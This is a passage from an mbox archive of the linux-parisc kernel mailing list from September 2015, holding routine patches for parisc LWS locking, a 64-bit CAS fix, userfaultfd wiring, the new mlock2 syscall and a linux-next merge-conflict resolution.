-	long index = ((long)uaddr & 0xf0) >> 2;
-	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	arch_spinlock_t *s = _lws_spinlockptr(uaddr);
 	local_irq_save(*flags);
 	arch_spin_lock(s);
 }
@@ -24,9 +31,7 @@ _futex_spin_lock_irqsave(u32 __user *uaddr, unsigned long int *flags)
 static inline void
 _futex_spin_unlock_irqrestore(u32 __user *uaddr, unsigned long int *flags)
 {
-	extern u32 lws_lock_start[];
-	long index = ((long)uaddr & 0xf0) >> 2;
-	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	arch_spinlock_t *s = _lws_spinlockptr(uaddr);
 	arch_spin_unlock(s);
 	local_irq_restore(*flags);
 }
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 7ef22e3..fb0dd94 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -557,13 +557,11 @@ lws_compare_and_swap:
 	ldil	L%lws_lock_start, %r20
 	ldo	R%lws_lock_start(%r20), %r28
 
-	/* Extract four bits from r26 and hash lock (Bits 4-7) */
-	extru  %r26, 27, 4, %r20
+	/* Extract lws lock entry from r26 */
+	extru  %r26, (31-2), LWS_NUM_LOCK_BITS, %r20
 
-	/* Find lock to use, the hash is either one of 0 to
-	   15, multiplied by 16 (keep it 16-byte aligned)
-	   and add to the lock table offset. */
-	shlw	%r20, 4, %r20
+	/* Find hash lock to use */
+	shlw	%r20, LWS_LOCK_ALIGN_BITS, %r20
 	add	%r20, %r28, %r20
 
 # if ENABLE_LWS_DEBUG
@@ -747,13 +745,11 @@ cas2_lock_start:
 	ldil	L%lws_lock_start, %r20
 	ldo	R%lws_lock_start(%r20), %r28
 
-	/* Extract four bits from r26 and hash lock (Bits 4-7) */
-	extru  %r26, 27, 4, %r20
+	/* Extract lws lock entry from r26 */
+	extru  %r26, (31-2), LWS_NUM_LOCK_BITS, %r20
 
-	/* Find lock to use, the hash is either one of 0 to
-	   15, multiplied by 16 (keep it 16-byte aligned)
-	   and add to the lock table offset. */
-	shlw	%r20, 4, %r20
+	/* Find hash lock to use */
+	shlw	%r20, LWS_LOCK_ALIGN_BITS, %r20
 	add	%r20, %r28, %r20
 
 	rsm	PSW_SM_I, %r0			/* Disable interrupts */
@@ -930,12 +926,10 @@ END(sys_call_table64)
 	.align	L1_CACHE_BYTES
 ENTRY(lws_lock_start)
 	/* lws locks */
-	.rept 16
-	/* Keep locks aligned at 16-bytes */
+	.rept LWS_NUM_LOCKS
+	/* Keep locks at least 16-byte aligned */
 	.word 1
-	.word 0 
-	.word 0
-	.word 0
+	.align (1 << LWS_LOCK_ALIGN_BITS)
 	.endr
 END(lws_lock_start)
 	.previous
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel
Subject: linux-next: manual merge of the parisc-hd tree with Linus' tree
Date: Tue, 8 Sep 2015 09:01:37 +1000
Lines: 63
Approved: news@gmane.org
Message-ID: <20150908090137.1b93713a@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441666930 26401 80.91.229.3 (7 Sep 2015 23:02:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Sep 2015 23:02:10 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org,
	Jiang Liu <jiang.liu@linux.intel.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 01:02:05 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZZ5QJ-0002U0-Rf
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Sep 2015 01:02:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751669AbbIGXBl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Sep 2015 19:01:41 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:40888 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751135AbbIGXBk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Sep 2015 19:01:40 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id 4F9C114018C;
	Tue,  8 Sep 2015 09:01:38 +1000 (AEST)
X-Mailer: Claws Mail 3.12.0 (GTK+ 2.24.28; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26017 gmane.linux.kernel.next:36668 gmane.linux.kernel:2033849
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26017>

Hi all,

Today's linux-next merge of the parisc-hd tree got a conflict in:

  arch/parisc/kernel/irq.c

between commit:

  d2109a12198e ("parisc/irq: Use access helper irq_data_get_affinity_mask()")

from Linus' tree and commit:

  b15e2f939727 ("parisc: Filter out spurious interrupts in PA-RISC irq handler")

from the parisc-hd tree.

I fixed it up (see below) and can carry the fix as necessary (no action
is required).

-- 
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

diff --cc arch/parisc/kernel/irq.c
index 413ec3c3f9cc,c0eab24f6a9e..000000000000
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@@ -507,8 -507,8 +507,8 @@@ void do_cpu_irq_mask(struct pt_regs *re
  	struct pt_regs *old_regs;
  	unsigned long eirr_val;
  	int irq, cpu = smp_processor_id();
- #ifdef CONFIG_SMP
 -	struct irq_desc *desc;
 +	struct irq_data *irq_data;
+ #ifdef CONFIG_SMP
  	cpumask_t dest;
  #endif
  
@@@ -521,10 -521,14 +521,14 @@@
  		goto set_out;
  	irq = eirr_to_irq(eirr_val);
  
- #ifdef CONFIG_SMP
 +	irq_data = irq_get_irq_data(irq);
+ 	/* Filter out spurious interrupts, mostly from serial port at bootup */
 -	desc = irq_to_desc(irq);
 -	if (unlikely(!desc->action))
++	if (unlikely(!irq_data))
+ 		goto set_out;
+ 
+ #ifdef CONFIG_SMP
 -	cpumask_copy(&dest, desc->irq_data.affinity);
 -	if (irqd_is_per_cpu(&desc->irq_data) &&
 +	cpumask_copy(&dest, irq_data_get_affinity_mask(irq_data));
 +	if (irqd_is_per_cpu(irq_data) &&
  	    !cpumask_test_cpu(smp_processor_id(), &dest)) {
  		int cpu = cpumask_first(&dest);
  
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use double word condition in 64bit CAS operation
Date: Mon, 7 Sep 2015 20:13:28 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <BLU437-SMTP83DADEA6683F7E81EB14D997530@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary="Apple-Mail-12--492459262"
X-Trace: ger.gmane.org 1441671226 20588 80.91.229.3 (8 Sep 2015 00:13:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2015 00:13:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 02:13:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZZ6XU-0000qM-HU
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Sep 2015 02:13:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751981AbbIHANc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Sep 2015 20:13:32 -0400
Original-Received: from blu004-omc4s12.hotmail.com ([65.55.111.151]:55463 "EHLO
	BLU004-OMC4S12.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751973AbbIHANb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Sep 2015 20:13:31 -0400
Original-Received: from BLU437-SMTP83 ([65.55.111.135]) by BLU004-OMC4S12.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Mon, 7 Sep 2015 17:13:30 -0700
X-TMN: [oKInmXJw+az8uGPEtk6SE2X3j0zdI6f1]
X-Originating-Email: [dave.anglin@bell.net]
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 08 Sep 2015 00:13:29.0624 (UTC) FILETIME=[3091D180:01D0E9CB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26018
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26018>

--Apple-Mail-12--492459262
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="us-ascii"

The attached change fixes the condition used in the "sub" instruction.  =
A double word comparison
is needed.  This fixes the 64-bit LWS CAS operation on 64-bit kernels.

I can now enable 64-bit atomic support in GCC.

Cc: <stable@vger.kernel.org>
Signed-off-by: John David Anglin <dave.anglin>


--Apple-Mail-12--492459262
Content-Disposition: attachment; filename="syscall.S.d.txt"
Content-Type: text/plain; name="syscall.S.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 7ef22e3..0b8d26d 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -821,7 +821,7 @@ cas2_action:
 	/* 64bit CAS */
 #ifdef CONFIG_64BIT
 19:	ldd,ma	0(%sr3,%r26), %r29
-	sub,=	%r29, %r25, %r0
+	sub,*=	%r29, %r25, %r0
 	b,n	cas2_end
 20:	std,ma	%r24, 0(%sr3,%r26)
 	copy	%r0, %r28

--Apple-Mail-12--492459262
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="us-ascii"



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-12--492459262--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Wire up userfaultfd syscall
Date: Tue, 8 Sep 2015 15:45:32 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20150908134532.GA11965@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441719946 10541 80.91.229.3 (8 Sep 2015 13:45:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2015 13:45:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 15:45:40 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZZJDN-0007hl-UR
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Sep 2015 15:45:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754727AbbIHNpi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2015 09:45:38 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:49244 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754175AbbIHNph (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2015 09:45:37 -0400
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx003) with ESMTPSA (Nemesis) id 0MXZbS-1ZBZFY3k7a-00WT2U; Tue, 08 Sep
 2015 15:45:34 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:+r+mJ4id0hmwb042cL0oVD8EgveNHm2nqSKV4K7eOhl1IK1Ybdd
 XY8Jn3zHesmEQ7PfAMNbCuD5u+ITpDwYjf6wshAd2MaoVXzNWvp9kVo8pHW1yqmTftHpVSf
 pni0zGHbVN75FETXf4BIVw9SUdhthO6kIeQgo2Uw16hBO21LmlRlAJp92CPMP+PmFnvZ+0V
 mUVNBeN5E1wOB0+kdN60g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Ea+SoIAm5QI=:4u2rZ4DS1jqmqZSLCz0roA
 Xq6Ttty2TELZ2P4JUc/PHHjfaw3A3CV2Xrc2CBuXnnA30SaV4nvPOHYZ7Y4qGNcVOGsR+itcs
 hApkrfKVAMniujO45BiIPsQX2h3sXQEe5I4fWeK1zwwFDr6khSr3CCxAIravwQVRHmSqHXfW0
 qrR4O8E8UwpEKGhLP41MO5rhtUr/x2R+uUNo8bBegy37UxXHXjCXamB610OSwkEx+7kNvKptu
 19pQUwAp7irVmhYcYKA773RfnC+9tHgFBxOKQ0HMBH/E4iSFaoblRoo1XUL98gE2tc6Myom4y
 0/Pb4bDDSylP6i49Wr6uijEwKga+7QF9yicsvvwZyaufSNn6oZlJVKjozWgNoeftt/z/s5VDC
 Ss2AgOrk1JWY+t38805ELOgWSb+fO9D7nfVX0qigltQ7w4zHB+cjYQzr1dCqR7SaYTOhVkZrI
 Xv7ZmII1ZkD7yEU0mopALDAgv05G9Da1hz1knSg/szltr7GiAqRm4er8H8CewjFL7kNI1ffIX
 WLEfSnEzSwxd4xZ1XedfDkD69MYdCOQHeb4PbA6aNMOmgA4nNfjDC8ZIuwsFBmQJGjQQFpLcK
 Ig15geoWNeMEnlL+MeYpm3PXi2F1l7v+2Ryz0h9+l5wkzb0Vlcr1nkqYIqQOgsvvaCtDZDEMe
 AkvId+w1PnTLzSht9sj9k2lw3K8g97RTuUvufvztfOhjoZuwpA6te/mGPB5yfmy3DR6JcnbnT
 Z2X2LS/G7oicKpp7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26019>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 2e639d7..e24dcc6 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -358,8 +358,9 @@
 #define __NR_memfd_create	(__NR_Linux + 340)
 #define __NR_bpf		(__NR_Linux + 341)
 #define __NR_execveat		(__NR_Linux + 342)
+#define __NR_userfaultfd	(__NR_Linux + 343)
 
-#define __NR_Linux_syscalls	(__NR_execveat + 1)
+#define __NR_Linux_syscalls	(__NR_userfaultfd + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 8eefb12..2b7db74 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -438,6 +438,7 @@
 	ENTRY_SAME(memfd_create)	/* 340 */
 	ENTRY_SAME(bpf)
 	ENTRY_COMP(execveat)
+	ENTRY_SAME(userfaultfd)
 
 
 .ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm
Subject: [PATCH v9 2/6] mm: mlock: Add new mlock system call
Date: Tue,  8 Sep 2015 09:58:58 -0400
Lines: 127
Approved: news@gmane.org
Message-ID: <1441720742-7803-3-git-send-email-emunson@akamai.com>
References: <1441720742-7803-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1441720762 25277 80.91.229.3 (8 Sep 2015 13:59:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2015 13:59:22 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>, Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-api@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Sep 08 15:59:11 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1ZZJQT-000405-8B
	for glpm-linux-m68k@plane.gmane.org; Tue, 08 Sep 2015 15:59:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754682AbbIHN7J (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 8 Sep 2015 09:59:09 -0400
Original-Received: from a23-79-238-179.deploy.static.akamaitechnologies.com ([23.79.238.179]:47510
	"EHLO prod-mail-xrelay05.akamai.com" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1754709AbbIHN7G (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 8 Sep 2015 09:59:06 -0400
Original-Received: from prod-mail-xrelay05.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 3C18643413C;
	Tue,  8 Sep 2015 13:59:04 +0000 (GMT)
Original-Received: from prod-mail-relay11.akamai.com (prod-mail-relay11.akamai.com [172.27.118.250])
	by prod-mail-xrelay05.akamai.com (Postfix) with ESMTP id 1AF2C43412D;
	Tue,  8 Sep 2015 13:59:04 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=akamai.com; s=a1;
	t=1441720744; bh=11Z1at7Djp32ek1oZ1mMYL3V5xr61srw/PhyPQNCGIE=;
	l=4355; h=From:To:Cc:Date:In-Reply-To:References:From;
	b=mcJbnxgUmOcdk9u9oHAfx0kg1m11gxORCQ12KcduyIjWoeTAYz+/g5RkCHOEkPHtH
	 sX+ciL9vziCVzWbmtLJxg0GDG0/N1pFq1JueFDxK7sem11iZUKpZohi++Cz2/qwBxP
	 NxgwViQYFFhlKlFZIi+13kcvYV5Tr+ZxOTIQ0ROQ=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.119])
	by prod-mail-relay11.akamai.com (Postfix) with ESMTP id BAE46202C;
	Tue,  8 Sep 2015 13:59:03 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1441720742-7803-1-git-send-email-emunson@akamai.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7488 gmane.linux.ports.alpha:3382 gmane.linux.kernel:2034253 gmane.linux.ports.arm.kernel:438570 gmane.linux.ports.ia64:25803 gmane.linux.ports.parisc:26020 gmane.linux.ports.ppc64.devel:117702 gmane.linux.ports.sh.devel:48718 gmane.linux.ports.sparc:21561 gmane.linux.kernel.api:13929 gmane.linux.kernel.cross-arch:29040 gmane.linux.kernel.mm:138209
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7488>

With the refactored mlock code, introduce a new system call for mlock.
The new call will allow the user to specify what lock states are being
added.  mlock2 is trivial at the moment, but a follow on patch will add
a new mlock state making it useful.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Acked-by: Vlastimil Babka <vbabka@suse.cz>
Acked-by: Michal Hocko <mhocko@suse.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: Guenter Roeck <linux@roeck-us.net>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-am33-list@redhat.com
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-mm@kvack.org
---
Changes from V8:
* Update x86[_64] syscall numbers to follow the new userfaultfd syscalls

 arch/x86/entry/syscalls/syscall_32.tbl | 1 +
 arch/x86/entry/syscalls/syscall_64.tbl | 1 +
 include/linux/syscalls.h               | 2 ++
 include/uapi/asm-generic/unistd.h      | 4 +++-
 kernel/sys_ni.c                        | 1 +
 mm/mlock.c                             | 8 ++++++++
 6 files changed, 16 insertions(+), 1 deletion(-)

diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
index 477bfa6..41e72a5 100644
--- a/arch/x86/entry/syscalls/syscall_32.tbl
+++ b/arch/x86/entry/syscalls/syscall_32.tbl
@@ -381,3 +381,4 @@
 372	i386	recvmsg			sys_recvmsg			compat_sys_recvmsg
 373	i386	shutdown		sys_shutdown
 374	i386	userfaultfd		sys_userfaultfd
+375	i386	mlock2			sys_mlock2
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index 81c4906..2366900 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -330,6 +330,7 @@
 321	common	bpf			sys_bpf
 322	64	execveat		stub_execveat
 323	common	userfaultfd		sys_userfaultfd
+324	common	mlock2			sys_mlock2
 
 #
 # x32-specific system call numbers start at 512 to avoid cache impact
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index 0800131..890632c 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -885,4 +885,6 @@ asmlinkage long sys_execveat(int dfd, const char __user *filename,
 			const char __user *const __user *argv,
 			const char __user *const __user *envp, int flags);
 
+asmlinkage long sys_mlock2(unsigned long start, size_t len, int flags);
+
 #endif
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index e016bd9..14a6013 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -709,9 +709,11 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
 __SYSCALL(__NR_bpf, sys_bpf)
 #define __NR_execveat 281
 __SC_COMP(__NR_execveat, sys_execveat, compat_sys_execveat)
+#define __NR_mlock2 282
+__SYSCALL(__NR_mlock2, sys_mlock2)
 
 #undef __NR_syscalls
-#define __NR_syscalls 282
+#define __NR_syscalls 283
 
 /*
  * All syscalls below here should go away really,
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 03c3875..8de5b26 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -194,6 +194,7 @@ cond_syscall(sys_mlock);
 cond_syscall(sys_munlock);
 cond_syscall(sys_mlockall);
 cond_syscall(sys_munlockall);
+cond_syscall(sys_mlock2);
 cond_syscall(sys_mincore);
 cond_syscall(sys_madvise);
 cond_syscall(sys_mremap);
diff --git a/mm/mlock.c b/mm/mlock.c
index c32ad8f..a23a533 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -644,6 +644,14 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 	return do_mlock(start, len, VM_LOCKED);
 }
 
+SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
+{
+	if (flags)
+		return -EINVAL;
+
+	return do_mlock(start, len, VM_LOCKED);
+}
+
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 {
 	int ret;
-- 
1.9.1


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH v9 0/6] Allow user to request memory to be locked on page fault
Date: Tue,  8 Sep 2015 09:58:56 -0400
Lines: 235
Approved: news@gmane.org
Message-ID: <1441720742-7803-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1441720773 25399 80.91.229.3 (8 Sep 2015 13:59:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2015 13:59:33 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	Andrea Arcangeli <aarcange@redhat.com>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
